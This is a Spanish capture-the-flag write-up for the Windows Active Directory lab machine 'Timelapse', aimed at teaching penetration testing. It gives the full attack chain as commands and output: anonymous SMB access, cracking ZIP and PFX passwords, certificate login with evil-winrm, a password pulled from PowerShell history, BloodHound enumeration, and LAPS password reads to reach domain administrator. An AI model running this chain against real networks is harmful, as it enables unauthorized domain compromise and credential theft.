Timelapse

Publicado: 23 de Mayo de 2025 Autor: José Miguel Romero aKa x3m1Sec Dificultad: ⭐ Easy OS: Windows

📝 Descripción

Timelapse es una máquina Windows de dificultad Easy que presenta un escenario típico de Active Directory. La escalada de privilegios se basa en la explotación de archivos de respaldo que contienen certificados, el abuso de credenciales almacenadas en el historial de PowerShell, y finalmente la explotación de LAPS (Local Administrator Password Solution) para obtener acceso administrativo completo al Domain Controller.

Puntos clave de aprendizaje:

🔍 Enumeración de recursos compartidos SMB sin credenciales
🔐 Crackeo de archivos ZIP y certificados PFX protegidos por contraseña
🎫 Autenticación con certificados en WinRM over HTTPS
📜 Análisis del historial de PowerShell para obtención de credenciales
🔑 Explotación de LAPS para escalada de privilegios

🎯 Resumen

Aspecto

Detalle

Vector de entrada

Recursos compartidos SMB con acceso anónimo

Escalada inicial

Certificado PFX crackeado para autenticación WinRM

Movimiento lateral

Credenciales en historial PowerShell

Escalada final

Abuso de permisos LAPS

Impacto

Compromiso total del Domain Controller

🔭 Reconocimiento

🏓 Ping para verificación en base a TTL

❯ ping -c2 10.10.11.152         
PING 10.10.11.152 (10.10.11.152) 56(84) bytes of data.
64 bytes from 10.10.11.152: icmp_seq=1 ttl=127 time=72.2 ms
64 bytes from 10.10.11.152: icmp_seq=2 ttl=127 time=43.6 ms

--- 10.10.11.152 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1011ms
rtt min/avg/max/mdev = 43.614/57.930/72.246/14.316 ms

💡 Nota: El TTL cercano a 128 sugiere que probablemente sea una máquina Windows.

🔍 Escaneo de puertos

ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.152 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)

echo $ports
53,88,135,139,389,445,464,593,636,3268,3269,5986,9389,49667,49673,49674,49695,49727

🔬 Enumeración de servicios

nmap -sC -sV -p$ports 10.10.11.152 -oN services.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-23 08:47 CEST
Nmap scan report for 10.10.11.152
Host is up (0.057s latency).

PORT      STATE SERVICE           VERSION
53/tcp    open  domain            Simple DNS Plus
88/tcp    open  kerberos-sec      Microsoft Windows Kerberos (server time: 2025-06-23 14:47:42Z)
135/tcp   open  msrpc             Microsoft Windows RPC
139/tcp   open  netbios-ssn       Microsoft Windows netbios-ssn
389/tcp   open  ldap              Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ldapssl?
3268/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
3269/tcp  open  globalcatLDAPssl?
5986/tcp  open  ssl/http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| tls-alpn: 
|_  http/1.1
|_http-title: Not Found
|_ssl-date: 2025-06-23T14:49:13+00:00; +8h00m01s from scanner time.
| ssl-cert: Subject: commonName=dc01.timelapse.htb
| Not valid before: 2021-10-25T14:05:29
|_Not valid after:  2022-10-25T14:25:29
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf            .NET Message Framing
49667/tcp open  msrpc             Microsoft Windows RPC
49673/tcp open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc             Microsoft Windows RPC
49695/tcp open  msrpc             Microsoft Windows RPC
49727/tcp open  msrpc             Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-06-23T14:48:32
|_  start_date: N/A
|_clock-skew: mean: 8h00m00s, deviation: 0s, median: 7h59m59s

🎯 Análisis de servicios identificados

Puerto

Servicio

Descripción

DNS

Servidor DNS del dominio

Kerberos

Autenticación del dominio

389/636

LDAP/LDAPS

Active Directory

445

SMB

Recursos compartidos

5986

WinRM HTTPS

Administración remota segura

⚠️ Importante: Debemos añadir el siguiente vhost a nuestro fichero /etc/hosts

echo "10.10.11.152 timelapse.htb" | sudo tee -a /etc/hosts

🚪 Acceso Inicial

📁 Enumeración SMB

Dado que no disponemos de credenciales, tratamos de enumerar este servicio mediante una sesión nula:

smbclient -N -L //10.10.11.152                      

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	IPC$            IPC       Remote IPC
	NETLOGON        Disk      Logon server share 
	Shares          Disk      
	SYSVOL          Disk      Logon server share

🔍 Exploración del recurso "Shares"

smbclient -N \\\\10.10.11.152\\Shares
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Mon Oct 25 17:39:15 2021
  ..                                  D        0  Mon Oct 25 17:39:15 2021
  Dev                                 D        0  Mon Oct 25 21:40:06 2021
  HelpDesk                            D        0  Mon Oct 25 17:48:42 2021

📥 Descarga de archivos interesantes

Encontramos un par de directorios que contienen recursos interesantes que descargaremos:

~/Timelapse/SMB ❯ tree                                 
.
├── Dev
│   └── winrm_backup.zip
└── HelpDesk
    ├── LAPS.x64.msi
    ├── LAPS_Datasheet.docx
    ├── LAPS_OperationsGuide.docx
    └── LAPS_TechnicalSpecification.docx

3 directories, 5 files

🔓 Crackeo de Archivos Protegidos

🤐 Análisis del archivo ZIP protegido

El archivo winrm_backup.zip requiere contraseña:

unzip winrm_backup.zip 
Archive:  winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password:

⚡ Crackeo con John the Ripper

Utilizamos zip2john para extraer el hash y crackearlo:

zip2john winrm_backup.zip > hash_zip.txt      
ver 2.0 efh 5455 efh 7875 winrm_backup.zip/legacyy_dev_auth.pfx PKZIP Encr: TS_chk, cmplen=2405, decmplen=2555, crc=12EC5683 ts=72AA cs=72aa type=8

john hash_zip.txt --wordlist=/usr/share/wordlists/rockyou.txt     
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
supremelegacy    (winrm_backup.zip/legacyy_dev_auth.pfx)     
1g 0:00:00:00 DONE (2025-06-23 09:03) 3.448g/s 11977Kp/s 11977Kc/s 11977KC/s suzyqzb..superkebab

🎉 Credencial obtenida: supremelegacy

🎫 Crackeo del certificado PFX

Al descomprimir el ZIP obtenemos un certificado PFX que también requiere contraseña:

Usamos la herramienta pfx2john para obtener su hash y crackearlo:

pfx2john legacyy_dev_auth.pfx > hash_pfx.txt

john hash_pfx.txt --wordlist=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 256/256 AVX2 8x])
Cost 1 (iteration count) is 2000 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
thuglegacy       (legacyy_dev_auth.pfx)     
1g 0:00:00:33 DONE (2025-06-23 09:15) 0.03026g/s 97813p/s 97813c/s 97813C/s thumper1990..thsco04

🎉 Credencial obtenida: thuglegacy

🔑 Extracción de Certificados

📋 Información del certificado

openssl pkcs12 -in legacyy_dev_auth.pfx -info

🔐 Extracción de la clave privada

openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out key.pem -nodes

openssl Llama a la herramienta de línea de comandos OpenSSL.
pkcs12 Usa el módulo para manejar archivos .pfx o .p12 (formato PKCS#12).
in legacyy_dev_auth.pfx Indica el archivo de entrada (.pfx) del cual se extraerán los datos.
nocerts Le dice a OpenSSL que no incluya certificados, solo la clave privada.
out key.pem Archivo de salida donde se guardará la clave privada extraída.
nodes Significa "no DES encryption", o sea, no cifrar la clave privada en el archivo de salida. Se guardará en texto plano.

📜 Extracción del certificado público

openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out key.cert

openssl → Llama a la herramienta OpenSSL.
pkcs12 → Invoca el módulo de OpenSSL para trabajar con archivos PKCS#12 (.pfx, .p12), que son contenedores de certificados y claves privadas.
-in legacyy_dev_auth.pfx → Indica el archivo .pfx del cual quieres obtener información.
-info → Muestra información adicional y detallada del archivo PKCS#12.

🎯 Acceso inicial via WinRM

🔒 Conexión con certificados

Utilizamos evil-winrm con los certificados extraídos para conectarnos al puerto 5986 (WinRM HTTPS):

evil-winrm -c key.cert -k key.pem -i 10.10.11.152 -P 5986 -S

🏆 Primera flag obtenida

Evil-WinRM shell v3.7
Warning: SSL enabled
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\legacyy\Documents> whoami
timelapse\legacyy
*Evil-WinRM* PS C:\Users\legacyy\Desktop> dir

    Directory: C:\Users\legacyy\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        6/23/2025   7:18 AM             34 user.txt

🔄 Movimiento Lateral

🔍 Enumeración con WinPEAS

Transferimos y ejecutamos winPEAS.ps1 para enumerar vectores de escalada:

📜 Descubrimiento en historial PowerShell

En los resultados aparece una contraseña en el histórico de PowerShell:

Get-Content C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit

🎉 Credenciales obtenidas: svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV

🔐 Acceso como svc_deploy

evil-winrm -i 10.10.11.152 -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S

⬆️ Escalada de Privilegios

👥 Análisis de pertenencia a grupos

El usuario svc_deploy pertenece al grupo especial "LAPS Readers":

🩸 Enumeración con BloodHound

Exportamos el dominio usando bloodhound-python:

bloodhound-python -c All -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -d timelapse.htb -ns 10.10.11.152

🔍 Explotación de LAPS

LAPS (Local Administrator Password Solution) almacena contraseñas de administradores locales en Active Directory. Como miembro del grupo "LAPS Readers", podemos leer estas contraseñas.

🖥️ Obtención de contraseña del administrador

Get-ADComputer -Filter 'ObjectClass -eq "computer"' -Property *

Este comando recupera todos los objetos de equipo del AD junto con todas sus propiedades, incluyendo las contraseñas LAPS.

🎉 Credenciales de Administrator obtenidas: Administrator:7F;mQ+XY}vJ2Eu06;Ztq94V&

👑 Acceso Administrativo Completo

🔐 Conexión como Administrator

evil-winrm -i 10.10.11.152 -u Administrator -p '7F;mQ+XY}vJ2Eu06;Ztq94V&' -S

Evil-WinRM shell v3.7
Warning: SSL enabled
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
timelapse\administrator

🏆 Flag de root obtenida

*Evil-WinRM* PS C:\Users\TRX\Desktop> dir

    Directory: C:\Users\TRX\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        6/23/2025   7:18 AM             34 root.txt

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